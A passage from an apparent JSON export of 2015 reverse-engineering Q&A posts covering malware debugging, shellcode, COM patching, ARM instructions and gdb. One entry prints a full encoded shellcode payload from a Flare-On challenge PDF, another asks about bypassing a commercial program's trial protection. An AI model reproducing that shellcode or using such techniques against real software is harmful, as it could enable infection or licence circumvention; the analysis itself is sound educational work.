        "Answer": "<p>Let's start from the beginning:</p>\n<pre><code>int __userpurge EnumFirstValidChild&lt;eax&gt;(int a1&lt;eax&gt;, int a2, int a3);\n</code></pre>\n<p>Your <code>EnumFirstValidChild</code> prototype takes <code>eax</code> as the first argument, but if you look at <code>eax</code> in this function, it gets immediately erased by <code>Teb-&gt;NtTib-&gt;ExceptionList</code> (aka <code>fs:[0]</code>) at <code>.text:1000B718</code>.</p>\n<p>Thus, the first argument isn't valid. Let's fix that as a first step:</p>\n<pre><code>int __cdecl EnumFirstValidChild (int a1, int a2);\n</code></pre>\n<p>I think you have already found that out, but better make sure everything is clear.</p>\n<p>Now, more precisely about your question:</p>\n<blockquote>\n<p>v11 is 4 bytes long and I see that more than 16 bytes are written to that pointer.\nWhat could it be wrong?</p>\n</blockquote>\n<p>As you may know, Hex-Rays doesn't produce compilable C code, but pseudo C-like code.\nYou have to give hints to the decompiler if you want it to decompile a correct C code.</p>\n<p>About your issue, you were right. v11 is not 4 bytes long, but actually at least 32 bytes long: at the end of the function <code>EnumFirstValidChild</code>, it writes 32 bytes at the address of the second argument:</p>\n<pre><code>*(_DWORD *)a3 = 0;\n*(_DWORD *)(a3 + 4) = 0;\n*(_DWORD *)(a3 + 8) = 0;\n*(_DWORD *)(a3 + 12) = 0;\n*(_DWORD *)(a3 + 16) = 0;\n*(_DWORD )(a3 + 20) = 0;\n*(_DWORD *)(a3 + 24) = 0;\n*(_DWORD *)(a3 + 28) = 0;\n</code></pre>\n<p>Furthermore, the decompiler gives you a quick way to notice this:\nIn <code>sub_10029900</code>, there's nothing on the stack except:</p>\n<pre><code>int v11; // [bp-20h]\n</code></pre>\n<p>As you can see, there's some space between bp and bp-20h. There is just enough space for your 32 bytes array, so we can conclude that your structure size is indeed 32 bytes long.</p>\n<p>If you wish, you can fix the output of Hex-Rays following this procedure:</p>\n<p><a href=\"https://i.stack.imgur.com/MSBid.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MSBid.gif\" alt=\"Enter image description here\" /></a></p>\n"
    },
    {
        "Id": "9182",
        "CreationDate": "2015-06-20T01:01:19.483",
        "Body": "<p>So I've been looking at this thread - <a href=\"https://reverseengineering.stackexchange.com/questions/206/where-can-i-as-an-individual-get-malware-samples-to-analyze\">Where can I, as an individual, get malware samples to analyze?</a>\nAnd grabbed myself a binary sample of Win32.Upatre from <a href=\"http://addxorrol.blogspot.com/2013/01/encouraging-female-reverse-engineers.html\" rel=\"nofollow noreferrer\">Halvar Flake's blog</a>.</p>\n<p>I started analyzing the file in my VM (Win XP SP 3) and loaded up the malware in Olly.\nWhat I noticed is that the code looks encrypted - I searched for all the calls in the code and got this:</p>\n<p><img src=\"https://i.stack.imgur.com/XzmpQ.jpg\" alt=\"enter image description here\" /></p>\n<p>Which doesn't seem quite normal.</p>\n<p>So I went ahead and started stepping from the EP hopefully landing on some decryption procedure -</p>\n<p><img src=\"https://i.stack.imgur.com/KOhwN.jpg\" alt=\"enter image description here\" /></p>\n<p>I'll briefly explain what I concluded from debugging this code:</p>\n<h2>1 - Gets the arguments passed to this executable - I'm pretty sure any code before this is irrelevant, but I might be wrong.</h2>\n<h2>2 - Calls GetStartupInfo - not quite sure why</h2>\n<h2>3 - Call 00401C80 passing the EP as a parameter</h2>\n<p>So I went ahead jumping to <code>00401C80</code> to check what this is all about and found this code which kinda looks like junk code to me -</p>\n<p><img src=\"https://i.stack.imgur.com/Oe3So.jpg\" alt=\"enter image description here\" /></p>\n<p>I suspect because there are some instructions that just don't seem logic to me like:</p>\n<pre><code>MOV EAX, 64\nCMP EAX,3E8\n</code></pre>\n<p>But I might be wrong.</p>\n<p>The problem is that after at the end of the function a value is copied into <code>ECX</code> and then <code>CALL ECX</code> is called which eventually ends in memory access violation:</p>\n<p><img src=\"https://i.stack.imgur.com/03UlY.jpg\" alt=\"enter image description here\" /></p>\n<p>No matter what I do or how I play with the flags inside this function I get an access violation or the code exits.</p>\n<p>SOOOOOOOOO, my first thought was that I'm dealing with some kinda anti-debugging technique, so I tried to run the malware inside the VM and intercept some data from it -</p>\n<p><img src=\"https://i.stack.imgur.com/s9tOz.jpg\" alt=\"enter image description here\" /></p>\n<p>And it seems like it's running alright and even created a UDP socket, no access violation or something like that.</p>\n<p>I tried looking online for reports about this virus but I couldn't found any resources about how to bypass this obstacle.</p>\n<p>Anyone got an idea how I should approach this? why is Olly failing? How does this code knows that it's being debugged? It doesn't seem like it uses some kind of API for that (like IsDebuggerPresent).</p>\n<p>Thanks for everyone in advance.</p>\n",
        "Title": "Debugging Win32.Upatre - why does Ollydbg fail to analyze this?",
        "Tags": "|ollydbg|malware|obfuscation|anti-debugging|deobfuscation|",
        "Answer": "<pre><code>import base64\nimport zipfile\nimport os\nimport hashlib\ninfile = open(\"c:\\\\halvar\\\\halvfem.bin\",\"rb\")\noutfile = open(\"c:\\\\halvar\\\\halvfem.zip\",\"wb\")\nbase64.decode(infile,outfile)\ninfile.close()\noutfile.close()\nif (zipfile.is_zipfile(\"c:\\\\halvar\\\\halvfem.zip\")):\n    myzip = zipfile.ZipFile(\"c:\\\\halvar\\\\halvfem.zip\",'r')\n    myzip.extractall('c:\\\\halvar\\\\',myzip.namelist(),'infected')\n    os.rename(myzip.namelist()[0],\"halvar_challenge.exe\")\n    print hashlib.md5(open('c:\\\\halvar\\\\halvar_challenge.exe','rb').read()).hexdigest()\n</code></pre>\n\n<p>is this the file you are talking about</p>\n\n<pre><code>C:\\halvar&gt;python decode.py\n172aed81c4fde1cf23f1615acedfad65\n\nC:\\halvar&gt;f:\\odbg110\\OLLYDBG.EXE halvar_challenge.exe\n</code></pre>\n\n<p>the exe is setting up a Structured Exception Handler prior to call ecx \nyou should follow the Exception handler may be several times </p>\n\n<p>hint check this function in msvcrt</p>\n\n<pre><code>77C2275C MSVCRT._JumpToContinuation    $  8BFF          MOV     EDI, EDI\n</code></pre>\n\n<p>if you followed them you should be able to see  0x89 imports being resolved with LoadLibrary and GetProcAddress </p>\n\n<p>i followed till CreateEvent before posting this</p>\n\n<pre><code>0013FD90   0040F520  /CALL to CreateEventA from halvar_c.0040F51D\n0013FD94   00000000  |pSecurity = NULL\n0013FD98   00000001  |ManualReset = TRUE\n0013FD9C   00000000  |InitiallySignaled = FALSE\n0013FDA0   0013FDCC  \\EventName = \"{AB8D393B-9177-440d-B3F8-1C1FE0CF9692}\"\n</code></pre>\n"
    },
    {
        "Id": "9184",
        "CreationDate": "2015-06-20T03:05:58.470",
        "Body": "<p>I'm reading about buffer overflow and there's this part i didn't understand , it says :</p>\n<blockquote>\n<p>Eliminating Data Segments</p>\n<p>That assembly code works completely. However, it is useless. You can compile it with nasm, execute it, and view the binary file in hex form with hexdump, which is itself a shellcode. The problem is that both programs use their own data segments, which means that they cannot execute inside another application. This means in chain that an exploit will not be able to inject the required code into the stack and execute it.</p>\n</blockquote>\n<p>why can't we use a data segment in our shellcode ?\nthanks !</p>\n",
        "Title": "The Addressing Problem?",
        "Tags": "|assembly|buffer-overflow|",
        "Answer": "<p>You <em>can</em> read from and write to a process's data segment from shellcode (assuming proper page protections).</p>\n\n<p>However, you typically want to supply the data your shellcode is going to use (for example, the data string \"<code>http://172.19.3.204/stager.exe</code>\"), and not rely what's currently in the exploited process's data segment (for example, the data string \"<code>Internet Explorer 4.0</code>\").</p>\n\n<p>As such, you'll need to either inject your shellcode's data into the exploited process's data segment, or as is the more common case, inject your shellcode and data together in a single blob and have your shellcode reference your data at an offset relative to your shellcode.</p>\n"
    },
    {
        "Id": "9191",
        "CreationDate": "2015-06-21T07:59:25.077",
        "Body": "<p>I have COM DLL with one class and one interface.<br>\nWhen I open it with COMView I see all the methods in the class/interface.</p>\n\n<p>I want to modify the behavior of one method in this COM but I don't know how. I failed debugging it in debugger because it uses multiple threads and I couldn't find the DLL's code.</p>\n\n<p>Is there a way to patch a function without using the debugger?</p>\n",
        "Title": "Patch methods in COM dll",
        "Tags": "|windows|decompilation|dll|patching|com|",
        "Answer": "<p>Debugging COM is indeed a bit on an issue, however you don't necessarily need to debug it in order to retrieve an address to the function you're interested in. Additionally, there are tricks to find COM related functions while debugging.</p>\n\n<p>Once you got the function's address, simply open that COM dll with any patching tool and patch the assembly as you'd like. Just google for a binary patching tool you feel comfortable with.</p>\n\n<p>There are basically three ways I can think of to get the address of that function:</p>\n\n<ol>\n<li>First, the function you're interested in might be exported. This is not a requirement for COM servers to function in most cases but occasionally happens. If it is exported, this is obviously the easiest way to find it.</li>\n<li>You could write a small executable that uses the COM server. That executable should call the function you're looking for, and by debugging <em>it</em> you will find the RVA of the function you're after. Just patch in memory and save (olly allows that, for example) or translate the RVA to file offset and patch statically.</li>\n<li>This is a bit more difficult but still possible. You could statically find the COM object's virtual table and resolve it using <em>type libraries</em>. You could then get the function's offset just the same. See <a href=\"https://reverseengineering.stackexchange.com/questions/12356/how-to-intercept-a-call-to-function-with-known-name-from-known-dll\">This Q&amp;A</a> for more info about type libraries.</li>\n</ol>\n"
    },
    {
        "Id": "9194",
        "CreationDate": "2015-06-21T16:33:52.433",
        "Body": "<p>I am investigating an application, which is encrypting it's files and stores them into disk. Of course i know where the files are and their corresponding filenames.</p>\n\n<p>In order to find out how the decryption takes place i need to somehow break the execution on the opening of the file from the disk.</p>\n\n<p>Has anybody any idea if something like this is possible?</p>\n\n<p>The main problem that i have is that i am completely unable to detect how the application reads the file from disk. How am i supposed to find the module that is being called?</p>\n\n<p>The application is a 64bit one and i am using Cheat Engine to debug it. I tried other 64bit debuggers as well, but none of them matched the memory search that is possible with CE.</p>\n\n<p>PS: I've also posted this question in Stackoverflow, but i guess this is the best place to ask this question.</p>\n",
        "Title": "Breakpoint on io file read",
        "Tags": "|debugging|breakpoint|",
        "Answer": "<p>use procmon from Sys Internals  to log the process<br>\nfilter the log for file access<br>\n(latest release has a file summary tab that simplifies entering filter expressions to mere mouse clicks)</p>\n\n<p>code for a simple xorrer  (takes an input file and writes back a xorred file)</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#define ENOENT 2\nvoid main(int argc, char *argv[]) {\n  if(argc !=3 ) { printf(\"usage : %s infile outfile\",argv[0]); return;}\n  FILE *fp = 0; errno_t err=ENOENT; long flen =0,bread =0 ; char *buff =0;\n  if (((err = fopen_s(&amp;fp,argv[1],\"rb\")) == 0) &amp;&amp; (fp !=0)) {\n    fseek(fp,0,SEEK_END);\n    flen = ftell(fp);\n    if((buff = (char *)calloc(flen,sizeof(char))) !=0 ) {\n      fseek(fp,0,SEEK_SET);\n      if (( bread = fread(buff,sizeof(char),flen,fp) ) == flen) {\n        fclose(fp); err=ENOENT;\n        for(int i = 0; i&lt; flen; i++)  {\n          buff[i] ^= 'A' ;\n        }\n        if(((err = fopen_s(&amp;fp,argv[2],\"wb\")) == 0) &amp;&amp; (fp !=0)) {\n          fwrite(buff,1,flen,fp);\n          fclose(fp);\n          free(buff);\n        }\n      }\n    }\n  }\n}\n</code></pre>\n\n<p>a batfile logging this file access (blind run) and loading the log into procmon again for applying filters and saving back the filtered events as xml\nwhich allows powershell to parse and print </p>\n\n<pre><code>echo off\nstart procmon.exe /quiet  /minimized /backingfile /nofilter .\\LogFile.pml\nprocmon.exe /waitforidle\nstart /wait encfile.exe rawdata.txt encdata.txt\nprocmon.exe /terminate\nstart /wait procmon.exe /openlog .\\logfile.pml\npowershell  ([xml] ( Get-Content .\\logfile.xml)).procmon.eventlist.event[2].stack.frame \npause\n</code></pre>\n\n<p>filter used to save xml file was \"Include if path contains xxxx where xxxx is the filename of interest\"</p>\n\n<p>here is the stack of the fileRead </p>\n\n<pre><code>PS &gt; ([xml]\n ( Get-Content .\\logfile.xml)).procmon.eventlist.event[2].stack.frame\n\ndepth               address             path                location\n-----               -------             ----                --------\n0                   0xb9ed5888          C:\\WINDOWS\\Syste... FltpPerformPreCa...\n1                   0xb9ed72a0          C:\\WINDOWS\\Syste... FltpPassThroughI...\n2                   0xb9ed7c48          C:\\WINDOWS\\Syste... FltpPassThrough ...\n3                   0xb9ed8059          C:\\WINDOWS\\Syste... FltpDispatch + 0...\n4                   0x804ee129          C:\\WINDOWS\\syste... IopfCallDriver +...\n5                   0x80571d9c          C:\\WINDOWS\\syste... NtReadFile + 0x580\n6                   0x8053d658          C:\\WINDOWS\\syste... KiFastCallEntry ...\n7                   0x40364c            C:\\Documents and... encfile.exe + 0x...\n8                   0x403ac0            C:\\Documents and... encfile.exe + 0x...\n9                   0x4033a2            C:\\Documents and... encfile.exe + 0x...\n10                  0x4015bf            C:\\Documents and... encfile.exe + 0x...\n11                  0x401698            C:\\Documents and... encfile.exe + 0x...\n12                  0x4016d1            C:\\Documents and... encfile.exe + 0x...\n13                  0x4010d3            C:\\Documents and... encfile.exe + 0x...\n14                  0x401d09            C:\\Documents and... encfile.exe + 0x...\n15                  0x7c817077          C:\\WINDOWS\\syste... BaseProcessStart...\n16                  0x0\n</code></pre>\n\n<p>ascertaining  the ReadFile  call</p>\n\n<pre><code>:\\cdb -c \"ub 40364c;q\" encfile.exe | tail -n 2\n00403646 ff1550b04000    call    dword ptr [image00400000+0xb050 (0040b050)]\nquit:\n\n:\\cdb -c \".printf \\\"%y\\n\\\",poi(40b050);q\" encfile.exe | tail -n 2\nkernel32!ReadFile (7c801812)\nquit:\n</code></pre>\n"
    },
    {
        "Id": "9195",
        "CreationDate": "2015-06-21T20:36:40.207",
        "Body": "<p>Im trying to bypass some trial functionnalities in os-monitor, the point is, after running it through ollydbg, a notification appears to tell that executable segment is encrypted with exe-packing algorithm.</p>\n\n<p><img src=\"https://i.stack.imgur.com/2ufMJ.png\" alt=\"enter image description here\"></p>\n\n<p>I ignored that, and continue to execute it, then another notification said that program halted because a debugger is detected.</p>\n\n<p><img src=\"https://i.stack.imgur.com/ocLdp.png\" alt=\"enter image description here\"></p>\n\n<p>Can anyone enlighten me of what type of antidebugging technique is used in this software?</p>\n",
        "Title": "Anti-Debugging technique in Os-monitor",
        "Tags": "|ollydbg|",
        "Answer": "<blockquote>\n  <p>Can anyone enlighten me of what type of antidebugging technique is\n  used in this software?</p>\n</blockquote>\n\n<p>Yes, that <code>Protection Error</code> message is from <a href=\"http://www.aspack.com/asprotect32.html\" rel=\"nofollow\">ASProtect</a>'s unpacking stub.</p>\n\n<p>From <a href=\"http://www.aspack.com/asprotect32.html\" rel=\"nofollow\">http://www.aspack.com/asprotect32.html</a>, it features the following antidebugging techniques:</p>\n\n<blockquote>\n  <ul>\n  <li>compression of the application</li>\n  <li>encryption of the application</li>\n  <li>counteraction to dumping application memory using tools like\n  ProcDump</li>\n  <li>application integrity check</li>\n  <li>counteraction to debuggers\n  and disassemblers </li>\n  <li>counteraction to memory patching </li>\n  <li>API for\n  interaction between application and protection routines </li>\n  <li>creation and\n  verification of registration keys using public keys encryption\n  algorithms </li>\n  <li>keeping of the database and checkup of \"stolen\" (illegal)\n  registration keys </li>\n  <li>possibility to create evaluation (trial) versions,\n  that limit application functions based on evaluation time and the\n  number of runs left </li>\n  <li>expose nag-screens </li>\n  <li>generating of registration\n  keys, based on the specific computer system.</li>\n  </ul>\n</blockquote>\n"
    },
    {
        "Id": "9205",
        "CreationDate": "2015-06-22T14:21:07.243",
        "Body": "<p><strong>Problem</strong> :</p>\n\n<p>I try to find the plaintext which was hidden at pdf inbuilt with shellcode </p>\n\n<p><strong>What i tried</strong> :</p>\n\n<p>I received a pdf which contains javascript with it ,i dig the pdf as follows :</p>\n\n<p><strong>Exploring  JavaScript inside</strong>:</p>\n\n<pre><code>root@kali:~# pdfid APT9001.pdf \nPDFiD 0.0.12 APT9001.pdf\n PDF Header: %PDF-1.5\n obj                   10\n endobj                 9\n stream                 3\n endstream              3\n xref                   2\n trailer                2\n startxref              2\n /Page                  3(2)\n /Encrypt               0\n /ObjStm                0\n /JS                    1(1)\n /JavaScript            1(1)\n /AA                    0\n /OpenAction            1(1)\n /AcroForm              0\n /JBIG2Decode           1(1)\n /RichMedia             0\n /Launch                0\n /EmbeddedFile          0\n /Colors &gt; 2^24         0\n</code></pre>\n\n<p>while extracting  it:</p>\n\n<pre><code>root@kali:~# pdf-parser -s javascript APT9001.pdf \nobj 5 0\n Type: /Action\n Referencing: 6 0 R\n\n  &lt;&lt;\n    /Type /Action\n    /S /JavaScript\n    /JS 6 0 R\n  &gt;&gt;\n\n\nroot@kali:~# pdf-parser -o 6 APT9001.pdf \nobj 6 0\n Type: \n Referencing: \n Contains stream\n\n  &lt;&lt;\n    /Length 6170\n    /Filter '[  \\r\\n /Fla#74eDe#63o#64#65  /AS#43IIHexD#65cod#65 ]'\n  &gt;&gt;\n\n\nroot@kali:~# pdf-parser -o 6 -d APT9001.js -f APT9001.pdf \nobj 6 0\n Type: \n Referencing: \n Contains stream\n\n  &lt;&lt;\n    /Length 6170\n    /Filter '[  \\r\\n /Fla#74eDe#63o#64#65  /AS#43IIHexD#65cod#65 ]'\n  &gt;&gt;\n</code></pre>\n\n<p>If i open the JavaScript file, i can quickly find the shellcode:</p>\n\n<blockquote>\n  <p>%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff</p>\n</blockquote>\n\n<p>Now i am stucked with this part ,now how can i explore further :</p>\n\n<p>the possible solutions which i might think were</p>\n\n<p>convert these shellcode to exe and exporting it as txt \nonce the text was recovered exploring the stack of it{assumption]</p>\n\n<p>am i on right way?or any community ideas to reverse engineer these further?</p>\n",
        "Title": "Need advice : Reverse engineering a pdf with shellcode",
        "Tags": "|malware|vulnerability-analysis|callstack|shellcode|",
        "Answer": "<p>The answer by extreme coders was wonderful,i wish to share my method too over here:</p>\n\n<p>I convert it to an executable with the tools in REMnux:</p>\n\n<pre><code>remnux@remnux:~$ unicode2hex-escaped &lt; sc.txt &gt; sc2.txt\nremnux@remnux:~$ shellcode2exe -s sc2.txt \n\n\nReading string shellcode from file sc2.txt\nGenerating executable file\nWriting file sc2.exe\nDone.\nremnux@remnux:~$ \n</code></pre>\n\n<p>The shellcode puts something on the stack:</p>\n\n<p><img src=\"https://i.stack.imgur.com/g9uyR.png\" alt=\"enter image description here\"></p>\n\n<p>If i split it and observe carefully :</p>\n\n<p><img src=\"https://i.stack.imgur.com/64nmE.png\" alt=\"enter image description here\"></p>\n\n<p>So my guessed answer would be wa1ch.d3m.spl01ts@flare-on.com</p>\n"
    },
    {
        "Id": "9209",
        "CreationDate": "2015-06-23T14:47:59.357",
        "Body": "<p>I'm getting started with some reverse engineering lately, especially on Linux and ELF format, but I'm struggling here.  </p>\n\n<p>For now I'm only using GDB to disassemble binaries, and even though I can read and understand the assembly code in general, I don't know \"where\" to look, or what register to check to find the flag (I'm talking about CTFs here).</p>\n\n<p>What I'm asking for are books or videos, something to get me used to GDB and give me the thinking methodology (if there's such a thing).\nThanks!</p>\n",
        "Title": "Books on reversing with GDB?",
        "Tags": "|disassembly|gdb|",
        "Answer": "<p>I highly recommended this position:\n<a href=\"http://rads.stackoverflow.com/amzn/click/1118787315\" rel=\"nofollow noreferrer\">https://www.amazon.com/Practical-Reverse-Engineering-Reversing-Obfuscation/dp/1118787315</a></p>\n"
    },
    {
        "Id": "9212",
        "CreationDate": "2015-06-24T04:17:27.233",
        "Body": "<p>I am attempting to disassemble some ARM machine code.\nThe ARM Instruction Set defines the Block Data Transfer instructions (LDM and STM) as below, used for loading and storing to multiple registers at once.</p>\n\n<p><b>There are two types of addressing modes</b>: for stacks or for other purposes. Maybe I'm not understanding something correctly, but I dont see a way to determine which type an instruction is using from looking at the machine code.</p>\n\n<p>Does it even matter on the CPU level, and is just a feature to make the assembly programmer's life easier? Since for example LDMFD and LDMIA are equivalent operations (I think?).</p>\n\n<p><img src=\"https://i.stack.imgur.com/m0ttK.jpg\" alt=\"enter image description here\"></p>\n\n<p><img src=\"https://i.stack.imgur.com/blkgF.jpg\" alt=\"enter image description here\"></p>\n\n<p><img src=\"https://i.stack.imgur.com/RiN8J.jpg\" alt=\"enter image description here\"></p>\n",
        "Title": "How to detect whether stack or alternative memory access type in LDM/STM instruction?",
        "Tags": "|disassembly|assembly|arm|",
        "Answer": "<p>From the <a href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0552a/BABCAEDD.html\" rel=\"nofollow noreferrer\">ARM manual</a>:</p>\n<blockquote>\n<p>LDM and LDMFD are synonyms for LDMIA. LDMFD refers to its use for\npopping data from Full Descending stacks.</p>\n<p>LDMEA is a synonym for LDMDB, and refers to its use for popping data\nfrom Empty Ascending stacks.</p>\n<p>STM and STMEA are synonyms for STMIA. STMEA refers to its use for\npushing data onto Empty Ascending stacks.</p>\n<p>STMFD is s synonym for STMDB, and refers to its use for pushing data\nonto Full Descending stacks.</p>\n</blockquote>\n<p>So yes, these are synonyms, confirmed by the manufacturer.</p>\n"
    },
    {
        "Id": "9214",
        "CreationDate": "2015-06-24T13:29:44.140",
        "Body": "<p>I am making a memory editor for an application written in Python. I've successfully grabbed the memory data from the target process using OpenProcess and ReadProcessMemory functions from the kernel32.dll. \nOnce i have the data i manipulate it accordingly using python, and i pass it into a gui that i've created. </p>\n\n<p>What i want to do is this: Because the data that i grab contain static memory addresses, and there is no other way to write back to memory without calling WriteProcessMemory again, i thought of creating pointers that point directly to the static memory addresses so that with some tweaks in the gui, the values will get immediately back in memory.</p>\n\n<p>I tried to do this using ctypes cast function, which successfully creates the pointer (at least it does not spawn any error) but when i am trying to get the pointer contents, python crashes, so the only logical explanation is that the python script does not have direct access to the process memory space in order to load the data.</p>\n\n<p>Because of my lack of experience on the matter, i have no idea what i can do to make this possible. Is this where dll injection comes in handy? My only other option is to store the memory data as a file object in python, don't make use of the static pointers (that means a lot of conversions), make my changes and put the data back using WriteProcessMemory.</p>\n\n<p>Any help is highly appreciated</p>\n",
        "Title": "Defining Pointers outside the Target Proccess Memory Space",
        "Tags": "|memory|python|",
        "Answer": "<p>Memory in almost all modern OSes is virtualized, which means each process has its own address space. This means that the same addresses holds a different value in your python program than it holds in your debugee.</p>\n\n<p>So, the <em>only</em> way to patch that memory is <code>WriteProcessMemory</code>, there's no way to access the memory of your debugee with any kind of pointer.</p>\n\n<p>If you inject a DLL into the debugged process, that DLL could access the memory of that process directly, however, this still leaves you with the problem of how to communicate with the DLL, since you can't just call any functions in it if it's not in <em>your</em> process space. Combined with all other problems this may cause, i'd strongly recommend against that.</p>\n"
    },
    {
        "Id": "9216",
        "CreationDate": "2015-06-24T14:12:17.907",
        "Body": "<p>On some RISC architectures there's no notion of stack pointer register -  there's some register, used to hold a stack pointer and address of the stack frame, but nowhere told explicitly what.</p>\n\n<p>So, how do I found out what register being used for storing a stack pointer on RISC architectures?</p>\n",
        "Title": "How do I found out what register used for stack pointer on RISC architectures?",
        "Tags": "|disassembly|stack|risc|",
        "Answer": "<p>In most cases, even if there's no register that has any hardware/instruction support for being a stack pointer, either the processor manufacturer or the operating system designer defines an ABI (application binary interface) which, among others, contains a convention for calling subroutines. Compiler vendors normally conform to this ABI to make their code interchangable with that of other vendors, or standard libraries.</p>\n\n<p>The <a href=\"https://en.wikipedia.org/wiki/Calling_convention\" rel=\"nofollow\">wikipedia page about calling conventions</a> has information about the standard conventions of most of the common processors. as well as links to some of the manufacturer documents.</p>\n\n<p>However, noone forces you to use that exact convention. You could, for example, write a JVM that has the Java stack in one register, and the C/native stack in a different one. Or, you could use one register for the call/return stack, a different one for function parameters, and a third one for local variables. The hardware doesn't care, so you can do this if you feel it's advantageous to your application; however, in most cases, not using the standard ABI causes you trouble (as you can't use standard libraries anymore) without gaining you anything.</p>\n"
    },
    {
        "Id": "9221",
        "CreationDate": "2015-06-25T06:31:03.357",
        "Body": "<p>Upon running info registers in gdb, we get an output similar to the following:</p>\n\n<pre><code>rax            0x1c 28\nrbx            0x0  0\nrcx            0x400a60 4196960\nrdx            0x7fffffffde88   140737488346760\nrsi            0x1  1\nrdi            0x400932 4196658\nrbp            0x0  0x0\nrsp            0x7fffffffde68   0x7fffffffde68\nr8             0x400ad0 4197072\nr9             0x7ffff7dea560   140737351951712\nr10            0x7fffffffdc30   140737488346160\nr11            0x7ffff7732dd0   140737344908752\nr12            0x4007f0 4196336\nr13            0x7fffffffde80   140737488346752\nr14            0x0  0\nr15            0x0  0\nrip            0x7ffff7732dd0   0x7ffff7732dd0\neflags         0x202    [ IF ]\ncs             0x33 51\nss             0x2b 43\nds             0x0  0\nes             0x0  0\nfs             0x0  0\ngs             0x0  0\n</code></pre>\n\n<p>While I do understand the for rax, rcx etc, GDB is converting the value to decimal for the second column, this doesn't seem consistent. Some registers, namely rsp and rip show the same value in hex, even in the second column. eflags on the other hand shows the flags in the second column.</p>\n\n<p>What is the reason that gdb does this? If it is going to show the same info (in case of rsp and rip), isn't it redundant? Also, how does this generalize on other architectures? (The above output is for x86-64).</p>\n\n<p><a href=\"https://stackoverflow.com/questions/31026000/gdb-info-registers-command-second-column-of-output\">Source</a>. I re-asked this question since I thought I would find more specific answer in reverse engineering point of view.</p>\n",
        "Title": "Output of gdb `info registers`",
        "Tags": "|gdb|register|",
